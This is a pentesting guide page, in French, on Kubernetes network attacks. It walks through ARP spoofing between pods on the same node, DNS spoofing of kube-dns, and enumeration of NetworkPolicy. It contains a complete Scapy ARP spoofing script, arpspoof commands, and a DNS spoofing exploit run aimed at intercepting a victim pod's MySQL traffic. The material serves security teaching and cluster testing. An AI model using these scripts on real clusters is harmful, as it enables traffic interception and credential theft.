# Kubernetes Network Attacks {{#include ../../banners/hacktricks-training.md}} ## Introduction Dans Kubernetes, on observe qu'un comportement par défaut permet l'établissement de connexions entre **tous les conteneurs résidant sur le même node**. Cela s'applique indépendamment des différences de namespace. Cette connectivité s'étend jusqu'à la **Layer 2** (Ethernet). Par conséquent, cette configuration expose potentiellement le système à des vulnérabilités. Plus précisément, elle ouvre la possibilité pour un **conteneur malveillant** d'exécuter une **ARP spoofing attack** contre d'autres conteneurs situés sur le même node. Lors d'une telle attack, le conteneur malveillant peut intercepter ou modifier de manière frauduleuse le trafic réseau destiné à d'autres conteneurs. Les ARP spoofing attacks impliquent que l'**attaquant envoie des ARP falsifiés** (Address Resolution Protocol) sur un réseau local. Cela a pour effet de lier la **MAC address de l'attaquant à l'IP address d'un ordinateur ou serveur légitime sur le réseau**. Après l'exécution réussie d'une telle attack, l'attaquant peut intercepter, modifier, ou même arrêter les données en transit. L'attack est exécutée sur la Layer 2 du modèle OSI, ce qui explique pourquoi la connectivité par défaut dans Kubernetes à cette layer soulève des préoccupations de sécurité. Dans le scénario, 4 machines vont être créées : - ubuntu-pe: Machine privilégiée pour s'échapper vers le node et vérifier les métriques (pas nécessaire pour l'attack) - **ubuntu-attack**: Conteneur **malveillant** dans le default namespace - **ubuntu-victim**: Machine **victime** dans le namespace kube-system - **mysql**: Machine **victime** dans le default namespace ```yaml echo 'apiVersion: v1 kind: Pod metadata: name: ubuntu-pe spec: containers: - image: ubuntu command: - "sleep" - "360000" imagePullPolicy: IfNotPresent name: ubuntu-pe securityContext: allowPrivilegeEscalation: true privileged: true runAsUser: 0 volumeMounts: - mountPath: /host name: host-volume restartPolicy: Never hostIPC: true hostNetwork: true hostPID: true volumes: - name: host-volume hostPath: path: / --- apiVersion: v1 kind: Pod metadata: name: ubuntu-attack labels: app: ubuntu spec: containers: - image: ubuntu command: - "sleep" - "360000" imagePullPolicy: IfNotPresent name: ubuntu-attack restartPolicy: Never --- apiVersion: v1 kind: Pod metadata: name: ubuntu-victim namespace: kube-system spec: containers: - image: ubuntu command: - "sleep" - "360000" imagePullPolicy: IfNotPresent name: ubuntu-victim restartPolicy: Never --- apiVersion: v1 kind: Pod metadata: name: mysql spec: containers: - image: mysql:5.6 ports: - containerPort: 3306 imagePullPolicy: IfNotPresent name: mysql env: - name: MYSQL_ROOT_PASSWORD value: mysql restartPolicy: Never' | kubectl apply -f - ``` ```bash kubectl exec -it ubuntu-attack -- bash -c "apt update; apt install -y net-tools python3-pip python3 ngrep nano dnsutils; pip3 install scapy; bash" kubectl exec -it ubuntu-victim -n kube-system -- bash -c "apt update; apt install -y net-tools curl netcat mysql-client; bash" kubectl exec -it mysql bash -- bash -c "apt update; apt install -y net-tools; bash" ``` ## Basic Kubernetes Networking Si vous voulez plus de détails sur les sujets de networking introduits ici, allez aux références. ### ARP De manière générale, le **pod-to-pod networking inside the node** est disponible via un **bridge** qui relie tous les pods. Ce bridge s’appelle “**cbr0**”. (Certains network plugins installeront leur propre bridge.) Le **cbr0 peut aussi gérer la résolution ARP** (Address Resolution Protocol). Lorsqu’un paquet entrant arrive sur cbr0, il peut résoudre l’adresse MAC de destination en utilisant ARP. Ce fait implique que, par défaut, **chaque pod exécuté dans le même node** va pouvoir **communiquer** avec n’importe quel autre pod dans le même node (indépendamment du namespace) au niveau ethernet (layer 2). > [!WARNING] > Therefore, it's possible to perform A**RP Spoofing attacks between pods in the same node.** ### NetworkPolicy and admin policy layers Kubernetes `NetworkPolicy` est un contrôle du trafic des pods au niveau L3/L4, mais il est appliqué par le plugin CNI et non par l’API server elle-même. Un cluster peut stocker des objets NetworkPolicy tout en autorisant le trafic si le CNI actif ne les implémente pas, donc validez toujours avec une source autorisée contrôlée et une source négative de contrôle bloquée. Ne vous arrêtez pas à `kubectl get networkpolicy -A`. Les clusters utilisant Cilium, Calico, OVN-Kubernetes, Antrea, ou des dataplanes de managed-provider peuvent aussi avoir des API de policy telles que `CiliumNetworkPolicy`, `CiliumClusterwideNetworkPolicy`, Calico `GlobalNetworkPolicy`, `AdminNetworkPolicy`, ou `BaselineAdminNetworkPolicy`. Celles-ci peuvent ajouter un deny explicite, des tier/order, un cluster scope, des règles L7/DNS, ou des garde-fous d’admin que la sémantique additive ordinaire de Kubernetes NetworkPolicy n’explique pas. Useful first checks: ```bash kubectl api-resources | grep -Ei 'networkpolicy|adminnetworkpolicy|cilium|calico' kubectl get networkpolicy -A kubectl get cnp,ccnp -A 2>/dev/null kubectl get globalnetworkpolicy -A 2>/dev/null kubectl get adminnetworkpolicy,baselineadminnetworkpolicy -A 2>/dev/null ``` Pour l'analyse de contournement, vérifiez si le blocage prévu est évité via un proxy autorisé, DNS ou egress gateway, un pod `hostNetwork`, un chemin local au node, un sélecteur de namespace ou de pod trop large, ou une policy admin/global de priorité supérieure. Indiquez les labels du pod source, les labels du namespace, le Service ou l'EndpointSlice de destination, l'implémentation CNI/policy, la règle de policy qui décide, et la preuve du trafic. ### DNS Dans les environnements kubernetes, vous trouverez généralement 1 (ou plus) **services DNS en cours d'exécution** généralement dans le namespace kube-system : ```bash kubectl -n kube-system describe services Name: kube-dns Namespace: kube-system Labels: k8s-app=kube-dns kubernetes.io/cluster-service=true kubernetes.io/name=KubeDNS Annotations: prometheus.io/port: 9153 prometheus.io/scrape: true Selector: k8s-app=kube-dns Type: ClusterIP IP Families: IP: 10.96.0.10 IPs: 10.96.0.10 Port: dns 53/UDP TargetPort: 53/UDP Endpoints: 172.17.0.2:53 Port: dns-tcp 53/TCP TargetPort: 53/TCP Endpoints: 172.17.0.2:53 Port: metrics 9153/TCP TargetPort: 9153/TCP Endpoints: 172.17.0.2:9153 ``` Dans les informations précédentes, vous pouvez voir quelque chose d'intéressant, l'**IP du service** est **10.96.0.10** mais l'**IP du pod** qui exécute le service est **172.17.0.2.** Si vous vérifiez l'adresse DNS à l'intérieur de n'importe quel pod, vous trouverez quelque chose comme ceci : ``` cat /etc/resolv.conf nameserver 10.96.0.10 ``` Cependant, le pod **ne sait pas** comment aller à cette **adresse** car la **plage du pod** dans ce cas est 172.17.0.10/26. Par conséquent, le pod enverra les **requêtes DNS à l'adresse 10.96.0.10** qui seront **traduites** par le cbr0 **vers** **172.17.0.2**. > [!WARNING] > Cela signifie qu'une **requête DNS** d'un pod va **toujours** passer par le **bridge** pour **traduire** l'**IP du service vers l'IP de l'endpoint**, même si le serveur DNS se trouve dans le même sous-réseau que le pod. > > En sachant cela, et en sachant que des **attaques ARP** sont possibles, un **pod** sur un node pourra **intercepter le trafic** entre **chaque pod** du **sous-réseau** et le **bridge**, et **modifier** les **réponses DNS** du serveur DNS (**DNS Spoofing**). > > De plus, si le **serveur DNS** se trouve sur le **même node que l'attaquant**, l'attaquant peut **intercepter toutes les requêtes DNS** de n'importe quel pod du cluster (entre le serveur DNS et le bridge) et modifier les réponses. > [!NOTE] > Validez le CNI actif et le chemin DNS avant de supposer que cela fonctionne dans un vrai cluster. Certains CNIs routent ou isolent différemment le trafic sur le même node, et les clusters utilisant NodeLocal DNSCache peuvent envoyer les requêtes DNS des pods vers une adresse locale au node avant de les transférer à CoreDNS. Dans ces environnements, le DNS spoofing dépend du placement des pods, des capacités de packet, de la configuration du resolver, du comportement du cache local au node, et du fait que les applications vérifient ou non les peers avec TLS ou un autre mécanisme d'identité. ## ARP Spoofing in pods in the same Node Notre objectif est de **voler au moins la communication de ubuntu-victim vers mysql**. ### Scapy ```bash python3 /tmp/arp_spoof.py Enter Target IP:172.17.0.10 #ubuntu-victim Enter Gateway IP:172.17.0.9 #mysql Target MAC 02:42:ac:11:00:0a Gateway MAC: 02:42:ac:11:00:09 Sending spoofed ARP responses # Get another shell kubectl exec -it ubuntu-attack -- bash ngrep -d eth0 # Login from ubuntu-victim and mysql and check the unencrypted communication # interacting with the mysql instance ``` ```python:arp_spoof.py #From https://gist.github.com/rbn15/bc054f9a84489dbdfc35d333e3d63c87#file-arpspoofer-py from scapy.all import * def getmac(targetip): arppacket= Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(op=1, pdst=targetip) targetmac= srp(arppacket, timeout=2 , verbose= False)[0][0][1].hwsrc return targetmac def spoofarpcache(targetip, targetmac, sourceip): spoofed= ARP(op=2 , pdst=targetip, psrc=sourceip, hwdst= targetmac) send(spoofed, verbose= False) def restorearp(targetip, targetmac, sourceip, sourcemac): packet= ARP(op=2 , hwsrc=sourcemac , psrc= sourceip, hwdst= targetmac , pdst= targetip) send(packet, verbose=False) print("ARP Table restored to normal for", targetip) def main(): targetip= input("Enter Target IP:") gatewayip= input("Enter Gateway IP:") try: targetmac= getmac(targetip) print("Target MAC", targetmac) except: print("Target machine did not respond to ARP broadcast") quit() try: gatewaymac= getmac(gatewayip) print("Gateway MAC:", gatewaymac) except: print("Gateway is unreachable") quit() try: print("Sending spoofed ARP responses") while True: spoofarpcache(targetip, targetmac, gatewayip) spoofarpcache(gatewayip, gatewaymac, targetip) except KeyboardInterrupt: print("ARP spoofing stopped") restorearp(gatewayip, gatewaymac, targetip, targetmac) restorearp(targetip, targetmac, gatewayip, gatewaymac) quit() if __name__=="__main__": main() # To enable IP forwarding: echo 1 > /proc/sys/net/ipv4/ip_forward ``` ### ARPSpoof ```bash apt install dsniff arpspoof -t 172.17.0.9 172.17.0.10 ``` ## DNS Spoofing Comme cela a déjà été mentionné, si vous **compromettez un pod sur le même node que le pod du DNS server**, vous pouvez faire du **MitM** avec **ARPSpoofing** entre le **bridge** et le pod **DNS** et **modifier toutes les réponses DNS**. Vous avez un très bon **tool** et **tutorial** pour tester cela dans [**https://github.com/danielsagi/kube-dnsspoof/**](https://github.com/danielsagi/kube-dnsspoof/) Dans notre scénario, **téléchargez** le **tool** dans le pod attacker et créez un **fichier nommé `hosts`** avec les **domains** que vous voulez **spoof** comme : ``` cat hosts google.com. 1.1.1.1 ``` Effectuez l'attaque sur la machine ubuntu-victim : ``` python3 exploit.py --direct 172.17.0.10 [*] starting attack on direct mode to pod 172.17.0.10 Bridge: 172.17.0.1 02:42:bd:63:07:8d Kube-dns: 172.17.0.2 02:42:ac:11:00:02 [+] Taking over DNS requests from kube-dns. press Ctrl+C to stop ``` ```bash #In the ubuntu machine dig google.com [...] ;; ANSWER SECTION: google.com. 1 IN A 1.1.1.1 ``` > [!NOTE] > If you try to create your own DNS spoofing script, if you **just modify the the DNS response** that is **not** going to **work**, because the **response** is going to have a **src IP** the IP address of the **malicious** **pod** and **won't** be **accepted**.\ > You need to generate a **new DNS packet** with the **src IP** of the **DNS** where the victim send the DNS request (which is something like 172.16.0.2, not 10.96.0.10, thats the K8s DNS service IP and not the DNS server ip, more about this in the introduction). ## DNS Spoofing via coreDNS configmap Un utilisateur avec des permissions d'écriture sur le configmap `coredns` dans le namespace kube-system peut modifier les réponses DNS du cluster. Also review NodeLocal DNSCache if it is deployed. It usually runs as a hostNetwork DaemonSet and has its own ConfigMap, logs, cache, and forwarding path. A CoreDNS change may not be the only place where DNS behavior can be affected or observed. Check more information about this attack in: {{#ref}} abusing-roles-clusterroles-in-kubernetes/README.md {{/ref}} ## Abusing exposed kubernetes management services Des services comme Apache NiFi, Kubeflow, Argo Workflows, Weave Scope, et le Kubernetes dashboard sont souvent exposés soit à internet, soit au sein du réseau kubernetes. Un attaquant qui parvient à **trouver une plateforme utilisée pour gérer kubernetes et à y accéder** peut l'abuser pour obtenir un accès à l'API kubernetes et effectuer des actions comme créer de nouveaux pods, modifier ceux existants, ou même les supprimer. ## Enumerating kubernetes network policies Get configured **networkpolicies**: ```bash kubectl get networkpolicies --all-namespaces ``` Obtenir les network policies **Callico**: ```bash kubectl get globalnetworkpolicy --all-namespaces ``` Obtenir les network policies **Cillium** : ```bash kubectl get ciliumnetworkpolicy --all-namespaces ``` Obtenez d'autres CRD liés aux policy installés par votre network plugin ou votre solution de sécurité : ```bash kubectl get crd | grep -i policy ``` ## Capturing Traffic L'outil [**Mizu**](https://github.com/up9inc/mizu) est un visualiseur de **traffic** API simple mais puissant pour Kubernetes, permettant de **voir toute la communication API** entre microservices afin de vous aider à debugger et à résoudre les régressions.\ Il installera des agents dans les pods sélectionnés et collectera leurs informations de traffic pour vous les afficher dans un web server. Cependant, vous aurez besoin de permissions K8s élevées pour cela (et ce n'est pas très stealthy). ## References - [https://www.cyberark.com/resources/threat-research-blog/attacking-kubernetes-clusters-through-your-network-plumbing-part-1](https://www.cyberark.com/resources/threat-research-blog/attacking-kubernetes-clusters-through-your-network-plumbing-part-1) - [https://blog.aquasec.com/dns-spoofing-kubernetes-clusters](https://blog.aquasec.com/dns-spoofing-kubernetes-clusters) {{#include ../../banners/hacktricks-training.md}}